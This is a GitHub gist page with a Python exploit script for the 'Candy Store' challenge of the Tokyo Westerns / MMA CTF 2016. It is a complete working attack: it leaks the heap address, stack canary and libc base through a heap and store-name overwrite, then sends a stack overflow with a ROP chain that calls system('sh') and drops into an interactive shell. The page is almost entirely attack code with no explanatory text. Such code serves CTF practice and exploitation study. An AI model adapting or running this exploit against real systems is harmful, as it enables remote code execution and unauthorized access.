Skip to content

Instantly share code, notes, and snippets.

@akiym
Last active September 6, 2016 16:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akiym/49631b4b34d898a8d734f8ed984c15e2 to your computer and use it in GitHub Desktop.
Save akiym/49631b4b34d898a8d734f8ed984c15e2 to your computer and use it in GitHub Desktop.
Candy Store - Tokyo Westerns / MMA CTF 2nd 2016
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ''
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ''
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
def process(cmd):
import subprocess
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = 'candystore1.chal.ctf.westerns.tokyo'
port = 11111
offset = {
'__libc_start_main': 0x18180,
'system': 0x39fac,
'/bin/sh': 0x11dc68, # str
}
else:
host = '127.0.0.1'
port = 8840
offset = {
'__libc_start_main': 0x16c61,
'system': 0x2e7e9,
'/bin/sh': 0xcaa5c, # str
}
s = connect(host, port)
recvuntil('ID> ')
s.send('sh\0\n')
recvuntil('Profile> ')
s.send('A' * 0x20 + '\r')
recvuntil('> $')
s.send('10000\n')
def modify_store(name, amount):
recvuntil('> ')
s.send('M\n')
recvuntil('New store name> ')
s.send(name)
recvuntil('New max item amount> ')
s.send('%d\n' % amount)
recvuntil('> ')
s.send('y\n')
def add_item(name, money, stock):
recvuntil('> ')
s.send('A\n')
recvuntil('> ')
s.send(name)
recvuntil('> $')
s.send('%d\n' % money)
recvuntil('> ')
s.send('%d\n' % stock)
recvuntil('> ')
s.send('y\n')
def delete_item(item_id):
recvuntil('> ')
s.send('D\n')
recvuntil('> ')
s.send('%d\n' % item_id)
recvuntil('> ')
s.send('y\n')
recvuntil('> ')
s.send('A\n')
modify_store('A' * 128, 17)
for i in range(5):
delete_item(i+1)
payload = (
'C' * 28 +
p(17) +
''
)
add_item(payload, 0, 0)
for _ in range(15):
add_item('A' * 32, 1, 1)
# clear store name
for i in range(4, -1, -1):
modify_store('B' * i + '\n', 16)
add_item('B' * 32, 1, 1)
recvuntil('> ')
s.send('R\n')
recvuntil('+-- ')
heap = u(recvn(3) + '\0') - 0x328
print 'heap : %x' % heap
recvuntil('> ')
s.send('P\n')
recvuntil('> ')
s.send('17\n')
recvuntil('> ')
s.send('D' * 20)
recvuntil('> ')
s.send('y\n')
recvuntil('> ')
s.send('n\n')
recvuntil('> ')
s.send('A\n')
modify_store(p(0x24110+1)+'\n', 17)
recvuntil('> ')
s.send('R\n')
recvuntil('+-- Contents of Cart ---------------')
recvuntil('Name: ')
canary = u('\0' + recvn(3))
print 'canary : %x' % canary
recvuntil('> ')
s.send('A\n')
modify_store(p(0x23fc0)+'\n', 17)
recvuntil('> ')
s.send('R\n')
recvuntil('+-- Contents of Cart ---------------')
recvuntil('Name: ')
libc = u(recvn(4)) - offset['__libc_start_main']
print 'libc : %x' % libc
recvuntil('> ')
s.send('O\n')
recvuntil('> ')
payload = (
'E' * 53 +
p(canary) +
'A' * 4 +
p(0xdeadbeef) +
p(0xdeadbeef) +
p(0xdeadbeef) +
p(0xdeadbeef) +
# pop {r3, r4, r5, r6, r7, r8, sb, pc}
p(0x13308) +
p(libc + offset['system']) + # r3
p(0xdeadbeef) +
p(0xdeadbeef) +
p(0xdeadbeef) +
p(0x24118) + # r7
p(0xdeadbeef) +
p(0xdeadbeef) +
# mov r0, r7
# mov r1, r8
# mov r2, sb
# blx r3
p(0x132f0) +
'\n'
)
assert len(payload) <= 256
s.send(payload)
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment